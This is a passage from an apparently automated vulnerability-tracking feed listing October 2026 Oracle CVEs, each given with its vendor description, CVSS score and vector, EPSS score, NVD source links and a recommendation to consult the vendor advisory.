EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101527&date=2026-10-25).
Sources:
NVD CVE-2026-101527: https://nvd.nist.gov/vuln/detail/CVE-2026-101527
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101527&date=2026-10-25
Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Enterprise Manager Install).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Enterprise Manager Base Platform executes to compromise Oracle Enterprise Manager Base Platform.  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).
https://kevwire.com/record/CVE-2026-101528
Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management). (Oct 20, 2026).
Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Oracle Database.  While the vulnerability is in Oracle Enterprise Manager for Oracle Database, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Oracle Database. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101528).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101528&date=2026-10-25).
Sources:
NVD CVE-2026-101528: https://nvd.nist.gov/vuln/detail/CVE-2026-101528
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101528&date=2026-10-25
Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Oracle Database.  While the vulnerability is in Oracle Enterprise Manager for Oracle Database, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Oracle Database. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).
https://kevwire.com/record/CVE-2026-101529
Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management). (Oct 20, 2026).
Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Oracle Database.  While the vulnerability is in Oracle Enterprise Manager for Oracle Database, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Oracle Database. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).
CVSS 9.9 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101529).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101529&date=2026-10-25).
Sources:
NVD CVE-2026-101529: https://nvd.nist.gov/vuln/detail/CVE-2026-101529
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101529&date=2026-10-25
Vulnerability in the Oracle Enterprise Manager for Oracle Database product of Oracle Enterprise Manager (component: Data Guard Management).  Supported versions that are affected are 13.5 and  24.1. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Enterprise Manager for Oracle Database.  While the vulnerability is in Oracle Enterprise Manager for Oracle Database, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle Enterprise Manager for Oracle Database. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).
https://kevwire.com/record/CVE-2026-101531
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server). (Oct 20, 2026).
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101531).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101531&date=2026-10-25).
Sources:
NVD CVE-2026-101531: https://nvd.nist.gov/vuln/detail/CVE-2026-101531
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101531&date=2026-10-25
Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Analytics Server).  Supported versions that are affected are 8.2.0.0.0 and  26.01.0.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).
https://kevwire.com/record/CVE-2026-101532
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues). (Oct 20, 2026).
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101532).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101532&date=2026-10-25).
Sources:
NVD CVE-2026-101532: https://nvd.nist.gov/vuln/detail/CVE-2026-101532
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101532&date=2026-10-25
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: All Miscellaneous EDI Issues).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  Successful attacks of this vulnerability can result in takeover of Oracle EDI Gateway. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: EDI).
https://kevwire.com/record/CVE-2026-101534
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: EDI). (Oct 20, 2026).
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: EDI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  While the vulnerability is in Oracle EDI Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle EDI Gateway accessible data as well as  unauthorized update, insert or delete access to some of Oracle EDI Gateway accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).
CVSS 8.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101534).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101534&date=2026-10-25).
Sources:
NVD CVE-2026-101534: https://nvd.nist.gov/vuln/detail/CVE-2026-101534
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101534&date=2026-10-25
Vulnerability in the Oracle EDI Gateway product of Oracle E-Business Suite (component: EDI).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle EDI Gateway.  While the vulnerability is in Oracle EDI Gateway, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle EDI Gateway accessible data as well as  unauthorized update, insert or delete access to some of Oracle EDI Gateway accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Sales Foundation product of Oracle E-Business Suite (component: Security API).
https://kevwire.com/record/CVE-2026-101535
Vulnerability in the Oracle Sales Foundation product of Oracle E-Business Suite (component: Security API). (Oct 20, 2026).
Vulnerability in the Oracle Sales Foundation product of Oracle E-Business Suite (component: Security API).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Foundation.  Successful attacks of this vulnerability can result in takeover of Oracle Sales Foundation. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101535).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101535&date=2026-10-25).
Sources:
NVD CVE-2026-101535: https://nvd.nist.gov/vuln/detail/CVE-2026-101535
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101535&date=2026-10-25
Vulnerability in the Oracle Sales Foundation product of Oracle E-Business Suite (component: Security API).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Sales Foundation.  Successful attacks of this vulnerability can result in takeover of Oracle Sales Foundation. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Maintenance).
https://kevwire.com/record/CVE-2026-101536
Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Maintenance). (Oct 20, 2026).
Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Maintenance).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Cost Management.  Successful attacks of this vulnerability can result in takeover of Oracle Cost Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101536).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101536&date=2026-10-25).
Sources:
NVD CVE-2026-101536: https://nvd.nist.gov/vuln/detail/CVE-2026-101536
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101536&date=2026-10-25
Vulnerability in the Oracle Cost Management product of Oracle E-Business Suite (component: Cost Maintenance).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Cost Management.  Successful attacks of this vulnerability can result in takeover of Oracle Cost Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101540
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  While the vulnerability is in Oracle Capacity, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101540).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101540&date=2026-10-25).
Sources:
NVD CVE-2026-101540: https://nvd.nist.gov/vuln/detail/CVE-2026-101540
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101540&date=2026-10-25
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  While the vulnerability is in Oracle Capacity, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101541
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  While the vulnerability is in Oracle Capacity, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).
CVSS 7.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101541).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101541&date=2026-10-25).
Sources:
NVD CVE-2026-101541: https://nvd.nist.gov/vuln/detail/CVE-2026-101541
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101541&date=2026-10-25
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  While the vulnerability is in Oracle Capacity, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Capacity accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101542
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in takeover of Oracle Capacity. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101542).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101542&date=2026-10-25).
Sources:
NVD CVE-2026-101542: https://nvd.nist.gov/vuln/detail/CVE-2026-101542
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101542&date=2026-10-25
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in takeover of Oracle Capacity. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101543
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in takeover of Oracle Capacity. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.5 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101543).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101543&date=2026-10-25).
Sources:
NVD CVE-2026-101543: https://nvd.nist.gov/vuln/detail/CVE-2026-101543
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101543&date=2026-10-25
Vulnerability in the Oracle Capacity product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Capacity.  Successful attacks of this vulnerability can result in takeover of Oracle Capacity. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101544
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Payroll executes to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101544).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101544&date=2026-10-25).
Sources:
NVD CVE-2026-101544: https://nvd.nist.gov/vuln/detail/CVE-2026-101544
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101544&date=2026-10-25
Vulnerability in the Oracle Payroll product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Payroll executes to compromise Oracle Payroll.  Successful attacks of this vulnerability can result in takeover of Oracle Payroll. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Inventory Management product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101545
Vulnerability in the Oracle Inventory Management product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Inventory Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Inventory Management executes to compromise Oracle Inventory Management.  Successful attacks of this vulnerability can result in takeover of Oracle Inventory Management. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101545).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101545&date=2026-10-25).
Sources:
NVD CVE-2026-101545: https://nvd.nist.gov/vuln/detail/CVE-2026-101545
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101545&date=2026-10-25
Vulnerability in the Oracle Inventory Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Inventory Management executes to compromise Oracle Inventory Management.  Successful attacks of this vulnerability can result in takeover of Oracle Inventory Management. CVSS 3.1 Base Score 7.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Materials Requirement Planning product of Oracle E-Business Suite (component: Internal Operations).
https://kevwire.com/record/CVE-2026-101546
Vulnerability in the Oracle Materials Requirement Planning product of Oracle E-Business Suite (component: Internal Operations). (Oct 20, 2026).
Vulnerability in the Oracle Materials Requirement Planning product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Materials Requirement Planning.  Successful attacks of this vulnerability can result in takeover of Oracle Materials Requirement Planning. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).
